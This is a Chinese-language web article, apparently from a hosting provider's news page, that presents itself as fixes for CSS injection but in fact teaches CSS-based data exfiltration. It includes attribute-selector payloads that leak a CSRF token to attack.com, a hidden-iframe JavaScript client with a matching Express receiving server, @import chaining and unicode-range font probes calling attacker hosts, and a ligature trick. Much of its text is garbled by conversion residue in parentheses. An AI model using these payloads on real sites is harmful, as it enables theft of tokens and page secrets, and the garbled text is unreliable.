您好,登錄后才能下訂單哦!
小編給大家分享一下CSS中injection的解決方法,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
CSS 注入 竊取標(biāo)簽屬性數(shù)據(jù)
CSS中可以使用屬性選擇器,根據(jù)不同的屬性選擇標(biāo)簽。比如下面CSS選擇含有a屬性且其值為abc的p標(biāo)簽。
<style>p[a="abc"]{ color: red;}</style> <p a="abc">hello world</p>
屬性選擇器還可以匹配值的一些特性,比如以XXX開頭、以XXX結(jié)尾等。
利用上面的性質(zhì)我們可以用來竊取頁面標(biāo)簽屬性中的數(shù)據(jù)。比如下面當(dāng)csrfToken以某個(gè)字母開頭時(shí),就可以通過 url() 通知攻擊者,從而竊取csrfToken的第一位的值。
<style> input[value^="0"] { background: url(http://attack.com/0); } input[value^="1"] { background: url(http://attack.com/1); } input[value^="2"] { background: url(http://attack.com/2); } ... input[value^="Y"] { background: url(http://attack.com/Y); } input[value^="Z"] { background: url(http://attack.com/Z); } </style> <input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
第一位是Z,接著竊取第二位
<style> input[value^="Z0"] { background: url(http://attack.com/0); } ... input[value^="ZZ"] { background: url(http://attack.com/Z); } </style> <input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
解決hidden
當(dāng)然還有個(gè)問題, 當(dāng)標(biāo)簽 type=hidden
時(shí)瀏覽器是不允許我們?cè)O(shè)置background
的,這樣就無法觸發(fā) url() 請(qǐng)求服務(wù)器。
解決方法之一是利用 ~ CSS的兄弟選擇器,選擇為后續(xù)所有兄弟節(jié)點(diǎn)設(shè)置background。
input[value^="Z"] ~*{ background: url(http://attack.com/Z); }
批量實(shí)現(xiàn)
當(dāng)然,如果位數(shù)比較短且可能性比較少我們可以將其所有都列出來,但是通常都太多了,所以我們需要利用技巧批量得到。
假設(shè)目標(biāo)存在css注入的網(wǎng)站為如下, 目標(biāo)是竊取input標(biāo)簽中的csrfToken值。
<!DOCTYPE html> <html> <head> <title>CSS injection</title> </head> <body> <input type=hidden name="csrfToken" value=<?=md5(date("h"))?>> <input type="" name=""> <style><?php echo $_GET['css']?></style> </body> </html>
有iframe
當(dāng)存在CSS注入的網(wǎng)站響應(yīng)頭未被 X-Frame-Options
保護(hù)時(shí), 我們可以創(chuàng)建一個(gè)惡意的頁面,利用js創(chuàng)建iframe包含該漏洞網(wǎng)站,利用css注入獲得一位csrfToken值后通過 url()
提交給服務(wù)器,服務(wù)器指示前端js繼續(xù)創(chuàng)建iframe竊取第二位值,繼續(xù)上面的操作,直到全部讀取完。當(dāng)然這要求每次請(qǐng)求漏洞網(wǎng)站內(nèi)容都不會(huì)變。
這里存在一個(gè)問題,服務(wù)器如何指示前端js構(gòu)造css,就像我們上面舉得例子竊取到第一位為Z, 那么第二位的payload應(yīng)該是Z開頭的。
下面的payload 來自這里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d
它的思路是前端js使用setTimeout定時(shí)請(qǐng)求服務(wù)器,服務(wù)器將css注入得到的token返回。
<html> <style> #frames { visibility: hidden; } </style> <body> <div id="current"></div> <div id="time_to_next"></div> <div id="frames"></div> </body> <script> vuln_url = 'http://127.0.0.1:8084/vuln.php?css='; server_receive_token_url = 'http://127.0.0.1:8083/receive/'; server_return_token_url = 'http://127.0.0.1:8083/return'; chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); known = ""; function test_char(known, chars) { // Remove all the frames document.getElementById("frames").innerHTML = ""; // Append the chars with the known chars css = build_css(chars.map(v => known + v)); // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab... frame = document.createElement("iframe"); frame.src = vuln_url + css; frame.style="visibility: hidden;"; //gotta be sneaky sneaky like document.getElementById("frames").appendChild(frame); // in 1 seconds, after the iframe loads, check to see if we got a response yet setTimeout(function() { var oReq = new XMLHttpRequest(); oReq.addEventListener("load", known_listener); oReq.open("GET", server_return_token_url); oReq.send(); }, 1000); } function build_css(values) { css_payload = ""; for(var value in values) { css_payload += "input[value^=\"" + values[value] + "\"]~*{background-image:url(" + server_receive_token_url + values[value] + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url } return css_payload; } function known_listener () { document.getElementById("current").innerHTML = "Current Token: " + this.responseText; if(known != this.responseText) { known = this.responseText; test_char(known, chars); } else { known = this.responseText; alert("CSRF token is: " + known); } } test_char("", chars); </script> </html>
服務(wù)器代碼是我配合它的payload寫得。
var express = require('express'); var app = express(); var path = require('path'); var token = ""; app.get('/receive/:token', function(req, res) { token = req.params.token; console.log(token) res.send('ok'); }); app.get('/return', function(req, res){ res.send(token); }); app.get('/client.html', function(req, res){ res.sendFile(path.join(__dirname, 'client.html')); }) var server = app.listen(8083, function() { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port) })
還有 師傅 通過服務(wù)器將token寫入到cookie中, 定時(shí)查詢cookie是否改變來實(shí)現(xiàn)的。
還發(fā)現(xiàn)有師傅用websocket實(shí)現(xiàn)更優(yōu)雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa
無 iframe
https://github.com/dxa4481/cssInjection 這里介紹了一種無iframe注入的方法。
原理也很簡(jiǎn)單,既然不能用iframe引入漏洞頁面,那么我們可以通過 window.open
不斷開啟一個(gè)新的窗口,也就可以完成上述類似的效果。當(dāng)然這種方法得劫持用戶的點(diǎn)擊行為,否則瀏覽器會(huì)禁止開啟新窗口。
而且這篇文章還提出了無后臺(tái)服務(wù)器的方案,利用service workers
攔截客戶端請(qǐng)求將獲取到的token值同時(shí)存在本地localstorage中。
@import
利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 這篇文章提出的這種方法。這種方法有種好處就是 不會(huì)刷新頁面就可以拿到全部token 而且不需要iframe,但壞處就是只能用在chrome中,而且根據(jù)它的特性必須在樣式標(biāo)簽頭部有注入才行。
除了常見的 <link>
標(biāo)簽引入外部樣式,css還可以通過 @import
。
@import url(http://style.com/css.css);
但是 @import 必須在樣式表頭部最先聲明,并且分號(hào)是必須的。 @import
引入的樣式表會(huì)直接替換對(duì)應(yīng)的內(nèi)聯(lián)樣式。
chrome在實(shí)現(xiàn)上述效果時(shí),在每次 @import 外部樣式表 返回后 都重新計(jì)算了一遍頁面的其他的樣式表,我們可以利用這個(gè)特性嵌套 @import 使用一個(gè)請(qǐng)求便獲取到整個(gè)token
這是他文章中的一個(gè)圖,很形象。
這圖假定要竊取的數(shù)據(jù)長(zhǎng)度為3,第一次注入的css內(nèi)容為 @import url(http://attacker.com/staging); ,它返回了
@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);
這時(shí)頁面又要獲取 @import url(http://attacker.com/polling?len=0);
樣式表,而它返回的是竊取token的payload。
當(dāng)將已竊取數(shù)據(jù)發(fā)送到服務(wù)器后, @import url(http://attacker.com/polling?len=1);
才會(huì)響應(yīng)。響應(yīng)的是竊取的第二位數(shù)據(jù)的payload....
而且那篇文章還開源了一個(gè)工具利用這個(gè)漏洞,用起來非常簡(jiǎn)單。
https://github.com/d0nutptr/sic
竊取標(biāo)簽content數(shù)據(jù)
竊取標(biāo)簽content數(shù)據(jù)相對(duì)來說就麻煩很多,去年xctf final就有一道題。
利用 unicode-range 猜測(cè)
根據(jù)https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html這位師傅的思路,可以通過指定 @font-face
的字體描述unicode-range
,當(dāng)存在某個(gè)字符時(shí)就通知服務(wù)器。
<style> @font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; } #sensitive-information{ font-family:poc; } </style> <p id="sensitive-information">AB</p>
當(dāng)然這只能知道含有那些字符,而且當(dāng)字符一多就沒有意義了。不過這也是個(gè)不錯(cuò)的思路,在某些特定情況下可能有用。
利用連字(Ligature)
去年xctf師傅們的 題解 用的就是這個(gè)方法。
連字簡(jiǎn)而言之就是幾個(gè)字符的合體字,更多自行百度。在這里我們可以自己創(chuàng)建一個(gè)字體,其中所有字符寬度設(shè)為0,將 flag 這個(gè)連字的寬度設(shè)置非常大,此時(shí)指定標(biāo)簽content中如果出現(xiàn)了flag
字符串就會(huì)因?yàn)閷挾鹊脑虺霈F(xiàn)滾動(dòng)條,檢測(cè)出現(xiàn)滾動(dòng)條時(shí)用 url() 請(qǐng)求服務(wù)器。
這樣我們就可以不斷向后猜測(cè)了,詳細(xì)的創(chuàng)建字體、payload 這里 已經(jīng)提供了。
以上是“CSS中injection的解決方法”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。